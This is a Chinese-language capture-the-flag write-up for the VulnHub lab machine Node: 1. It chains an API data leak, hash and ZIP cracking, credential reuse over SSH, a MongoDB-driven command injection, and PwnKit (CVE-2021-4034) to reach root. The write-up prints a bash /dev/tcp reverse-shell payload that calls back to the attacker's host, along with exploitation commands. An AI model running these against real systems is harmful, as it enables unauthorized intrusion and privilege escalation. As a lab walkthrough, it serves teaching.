7 min read

Node: 1 完整攻略:從 AngularJS API 洩漏,一路串到 PwnKit

Node: 1 完整攻略:從 AngularJS API 洩漏,一路串到 PwnKit
連結:https://www.vulnhub.com/entry/node-1,252/
靶機:Node: 1(VulnHub,作者 rastating,2017;HackTheBox 移植)
難度:Medium 環境:WSL2 Kali + VMware

前言:一條橫跨十二個環節的攻擊鏈

Node 是一台罕見地把「一次完整滲透該有的每個面向」都塞進去的靶機,從一個未授權的 REST API,一路串到 kernel/pkexec 提權,中間經過資料過度暴露、hash 破解、加密 ZIP、白箱審計、憑證重用、SSH 橫向、NoSQL 命令注入、SUID binary 逆向 —— 幾乎是一份滲透測試的縮影。

這篇完整記錄這條鏈,包括最後那個卡了很久的 SUID binary 命令注入(intended path,因 access() 檢查刁鑽而未打通),以及最終改走的 PwnKit。

完整 Kill Chain:(有劇透,可先跳過)

  1. 環境(VMware 的 ens33 對上靶機介面名,救回這台)
  2. Recon → port 3000 AngularJS SPA
  3. 讀前端 JS controller 挖出後端 API 地圖
  4. 未授權 GET /api/users 洩漏全部使用者 + admin hash
  5. hashcat 破 SHA-256 → admin 憑證
  6. admin 登入 → GET /api/admin/backup 下載加密備份
  7. 破 ZIP 密碼 → app 原始碼
  8. 白箱審計 → MongoDB 憑證
  9. DB 密碼重用 SSH → mark
  10. /var/scheduler NoSQL 命令注入 → tom
  11. PwnKit(CVE-2021-4034)→ root

0. 環境:VMware 為何救回這台

這台原本卡在虛擬化環境(另有專文),簡述:在 WSL2 裡用 libvirt/KVM 跑時,靶機(Ubuntu 16.04,Debian 系)的 /etc/network/interfaces 綁死 ens33(VMware 慣用介面名),而 libvirt 的 e1000 給的是 enp0s3,對不上 → 靶機拿不到 IP。

改用 VMware 匯入後(OVF 不合規時按 Retry 放寬檢查即可),VMware 給的網卡剛好命名為 ens33,正好對上靶機的 interfaces → 拿到 IP。加上 WSL2 這次有路由能到 VMware 的 Host-only 網段(VMnet1, 192.168.13.0/24),WSL 的 nmap 直接掃得到靶機 192.168.13.128

1. Recon

sudo nmap -p- -sV -sC 192.168.13.128
Port 服務 備註
22 OpenSSH 7.2p2 Ubuntu Ubuntu 16.04
3000 Node.js(nmap 誤判為 Hadoop) AngularJS SPA "MyPlace"

port 3000 首頁是 AngularJS 單頁應用(ng-app="myplace"data-ng-view)。SPA 的攻擊面在後端 API,而前端載入了一堆 controller:

<script src="assets/js/app/app.js">
<script src="assets/js/app/controllers/login.js">
<script src="assets/js/app/controllers/admin.js">
<script src="assets/js/app/controllers/profile.js">

2. 讀前端 JS,挖出後端 API 地圖

打 SPA 的核心心法:前端 JS 就是後端 API 的說明書,不用猜路由,直接讀 controller:

curl -s http://192.168.13.128:3000/assets/js/app/app.js
curl -s http://192.168.13.128:3000/assets/js/app/controllers/admin.js
curl -s http://192.168.13.128:3000/assets/js/app/controllers/profile.js

挖出的 API endpoint:

POST /api/session/authenticate    登入
GET  /api/session                 檢查登入狀態
GET  /api/admin/backup            管理員備份(AdminCtrl)
GET  /api/users/:username         取單一使用者(ProfileCtrl)
GET  /api/users/latest            最新使用者列表(HomeCtrl)

3. 未授權 API 洩漏所有使用者 + hash

HomeCtrl 首頁未登入就呼叫 /api/users/latest,回傳含密碼 hash 的完整使用者物件(過度暴露資料):

curl -s http://192.168.13.128:3000/api/users/latest

latest 只回三個 is_admin:false 的使用者,漏了 admin,關鍵一步:拿掉 /latest 直接打 /api/users,回傳全部使用者(更嚴重的未授權洩漏):

curl -s http://192.168.13.128:3000/api/users

admin 現形:

{"username":"myP14ceAdm1nAcc0uNT","password":"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af","is_admin":true}

4. 破解 hash

64 字元 hex = SHA-256(無鹽),WSL2 的 hashcat 找不到 CUDA GPU,改用 CPU(-D 1):

hashcat -m 1400 -D 1 hashes.txt /usr/share/wordlists/rockyou.txt

破出:

tom  : spongebob
mark : snowflake
myP14ceAdm1nAcc0uNT : manchester

(SSH 重用測試:這幾組 web 密碼都不是系統帳號密碼,su/ssh 皆失敗。)

5. 下載並解開加密備份

用 admin 登入拿 session,打 /api/admin/backup

curl -s -c admin_cookies.txt -X POST http://192.168.13.128:3000/api/session/authenticate \
  -H "Content-Type: application/json" \
  -d '{"username":"myP14ceAdm1nAcc0uNT","password":"manchester"}'

curl -s -b admin_cookies.txt http://192.168.13.128:3000/api/admin/backup -o myplace.b64

回傳是 Base64 的加密 ZIP,解碼 + 破 ZIP 密碼:

base64 -d myplace.b64 > myplace.backup
file myplace.backup            # Zip archive(加密)
# 破密碼:先試已知密碼重用,再 zip2john + john
unzip -P magicword myplace.backup -d myplace_src

ZIP 密碼是 magicword(後來從 backup binary 逆向也證實)。

6. 白箱審計拿到 MongoDB 憑證

解開的 app 原始碼 app.js 洩漏兩個關鍵:

const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace...';   // DB 憑證!
const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';

var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);  // 備份呼叫自訂 SUID binary

mark:5AYRft73VtFpc84k 是 MongoDB 的 mark 密碼(跟 web 的 mark 密碼 snowflake 不同)。

7. DB 密碼重用 SSH → 系統立足點

開發者常讓 DB 帳號密碼 = 系統帳號密碼。 用 DB 的 mark 密碼試 SSH:

ssh [email protected]        # 密碼:5AYRft73VtFpc84k

成功,拿到 mark@node 系統 shell。

mark@node:~$ id
uid=1001(mark) gid=1001(mark) groups=1001(mark)
mark@node:~$ sudo -l
# mark may not run sudo

8. NoSQL 命令注入橫向 → tom

ps aux 揭露一個以 tom 身分跑的排程器:

tom  /usr/bin/node /var/scheduler/app.js

讀它的原始碼(world-readable):

const exec = require('child_process').exec;
const url  = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler...';   // 你有這憑證!

setInterval(function () {
  db.collection('tasks').find().toArray(function (error, docs) {
    docs.forEach(function (doc) {
      exec(doc.cmd);                                       // 直接 exec DB 裡的 cmd,零過濾!
      db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
    });
  });
}, 30000);                                                 // 每 30 秒

攻擊鏈: scheduler 以 tom 跑,每 30 秒從 MongoDB 的 scheduler 資料庫讀 task 並 exec(doc.cmd),而你有這個 DB 的憑證 → 插入惡意 task,30 秒內 scheduler 以 tom 執行。

mongo -u mark -p 5AYRft73VtFpc84k localhost:27017/scheduler
> db.tasks.insert({ cmd: "bash -c 'bash -i >& /dev/tcp/192.168.13.1/4444 0>&1'" })
網路細節:靶機(VMware)回連的來源是 Windows 的 VMnet1 位址 192.168.13.1,所以 reverse shell 的 listener 開在 Windows PowerShell(而非 WSL),才收得到。

30 秒後 tom shell 彈回。

tom@node:/$ groups
tom adm cdrom sudo dip plugdev lxd lpadmin sambashare admin

tom 在 admin group(能執行下面的 SUID binary),也在 sudo group(但無密碼,sudo 走不通)。

9. 改走 PwnKit(CVE-2021-4034)→ root

走不依賴該 binary 的可靠路 —— PwnKit,這台條件極佳:

uname -a                        # Linux node 4.4.0-93-generic Ubuntu 16.04
ls -la /usr/bin/pkexec          # -rwsr-xr-x(SUID root,2016 版,未修 2022 的 CVE)
which gcc cc                    # 都有(可直接在靶機編譯)

PwnKit 原理(pkexec 的 argv 越界 + GCONV_PATH 載入惡意 gconv module,詳見 Temple of Doom 篇),因這台有 gcc,直接用現成 C PoC(berdav/CVE-2021-4034),一個 make 搞定。

傳檔(靶機無法外連): 用 scp 走 SSH 通道(繞過 http server 的 WSL/Windows 位址問題):

# WSL(有 clone 好的 exploit)
scp /tmp/pwnkit.tar.gz [email protected]:/tmp/

編譯執行(家目錄與 /tmp 均受限,用 /dev/shm):

mkdir -p /dev/shm/pwn
tar xzf /tmp/pwnkit.tar.gz -C /dev/shm/pwn
cd /dev/shm/pwn/CVE-2021-4034
make
./cve-2021-4034

結果:

# id
uid=0(root) gid=0(root) groups=0(root),1001(mark)
# cat /root/root.txt
Redacted

帶得走的方法論

  • 打 AngularJS/SPA:前端 JS controller 就是後端 API 的說明書,直接讀它挖 endpoint,不用盲爆路由。
  • API 資料過度暴露/api/users 未授權回傳含 hash 的完整物件;試「拿掉路徑修飾(latest)」常能撈到更多(全部使用者)。
  • 憑證接力的層次:web hash → 破解 → 加密備份 → ZIP 密碼 → 白箱審計出的 DB 憑證 → SSH 重用,每一層的憑證可能重用到下一層,也可能不重用(web 密碼沒重用系統,但 DB 密碼重用了 SSH)。
  • 白箱審計優先於盲打:拿到原始碼後,讀 app.js 找 DB 連線、SUID 呼叫、secret,比黑箱猜快得多。
  • NoSQL/scheduler 命令注入exec(doc.cmd) 從資料庫讀命令執行 + 你有 DB 憑證 = 以該服務身分任意命令執行,找「以高權限使用者跑、且從你能控制的來源讀輸入」的服務。
  • 傳檔與可寫目錄:靶機無法外連時用 scp 走 SSH 通道;家目錄/tmp 受限時用 /dev/shm(tmpfs,通常 777)編譯執行。

本文為 Node: 1 靶機的教學型 writeup,所有操作皆在本機隔離環境進行,切勿對未授權的系統進行任何測試。